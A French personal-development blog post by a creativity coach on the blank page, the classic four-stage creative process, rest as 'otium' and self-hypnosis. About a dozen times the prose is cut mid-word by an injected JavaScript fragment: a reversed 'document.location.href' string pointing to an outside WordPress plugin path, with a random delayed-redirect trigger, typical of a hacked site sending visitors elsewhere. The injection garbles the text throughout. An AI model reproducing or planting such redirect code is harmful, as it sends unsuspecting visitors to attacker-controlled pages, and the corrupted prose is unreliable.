Les étapes et méthodes de la créativité personnelle
Les étapes et méthodes de la créativité personnelle sont nombreuses. Voici quelques pistes de réflexion…
La feuille blanche
Certes la redoutent (les écrivains), d’autres l’adorent (les peintres). Loin du concept de brainstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torming, se placer devant une feuille blanche devrait permettre à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les possibles de se manifester sur le papier. Car au-delà de la créativité artistique, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout part toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours d’une feuille blanche. Il suffit même de penser au bébé qui vient de naître ou aux enfants qui sont complètement libres de poser toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les questions, de découvrir, d’explorer et d’avoir toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les rêves possibles. Des qualités fortes – curiosité, créativité, inventivité et imagination – font rage chez les enfants.
Au fur et à mesure que nous avançons dans la vie, nous dessinons notre chemin. Afin de vous questionner un peu (c’est bien mon rôle de coach ;-)), je vous demande : sommes-nous complètement maîtres de notre destin ? La réponse est très personnelle. Et en même temps, le mot « complètement » induit la réponse bien entendu. Parfois, nous pouvons aussi avoir l’impression que nous partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons d’une disposition où toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout est possible et que plus nous avançons en âge, plus la marge de manœuvre est restreinte. Ce qui est peut-être dirigé dans le cadre du destin ne l’est en aucun cas en termes de création.
Développer sa créativité personnelle par le modèle classique
Le modèle classique de créativité (et de création) se dessine en 4 étapes :
1- Préparation : focalisation intense et effort (conscient) vers l’objectif.
2- Incubation : période de repos sans réflexion mentale.
3- Illumination : l’ampoule s’allume (l’idée arrive).
4- Traduire en réalité : dur labeur pour rendre cela réel (création consciente).
J’imagine que nombre d’entre vous lisant ce texte a fait cette expérience de ne pouvoir résoudre un problème… Jusqu’au moment où vous l’avez résolu, sans chercher la solution, en vous reposant ou en vous adonnant à une autre activité. On toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touche ici à l’idée de sérendipité ou « heureux hasard ».
Le repos comme base de la créativité personnelle
Je ne saurai donc que vous recommander de vous laisser aller à votre activité préférée ou à l’oisiveté lorsque vous êtes bloqués quelque part.
Les Romains appelait employait le terme « otium » pour désigner un moment de calme, de liberté à savourer qui offrait la paix intérieure. Ces moments sont source de repos et de créativité personnelle. Les Grecs parlaient quant à eux de « scholè » pour évoquer ce temps libre, qui contient également une toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touche de philosophie et de méditation. Les polyglottes y auront également reconnu le mot d’école (school en anglais, школа – shkola en russe).
L’apprentissage et la créativité passeraient-il par le repos ? Les rêves nous répondent « oui » et visiblement, il y a lieu de se poser la question.
Enfin, pour citer un exemple dans notre société sous pression, je voudrais prendre en référence Thomas Edison. C’était un esprit très créatif et un inventeur de génie qui a déposé plusieurs centaines de brevets. Edison avait l’habitude de jouer avec une balle, allongé sur son divan. A méditer 😉
D’autres méthodes pour booster sa créativité personnelle
Parmi mes méthodes préférées d’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-coaching ou de
coaching de créativité, il y a l’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-hypnose (ou autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-transe) si vous vous entraînez seul(e). Ou bien
l’hypnose ericksonienne et la transe générative pour ceux qui se font accompagner par un
coach de créativité, un
coach de vie, ou un
coach en développement personnel. Vous trouverez des informations à ce sujet sur ce site internet.
Sur ce site, j’aborde également l’
art – thérapie. Outre ses vertus thérapeutiques, l’art-thérapie permet, dans notre société où le cerveau gauche (le rationnel) est hyper dominant, de remettre de l’équilibre entre cerveau gauche et cerveau droit ; siège de la créativité. Il en va de même pour ce qu’on appelle communément les loisirs créatifs.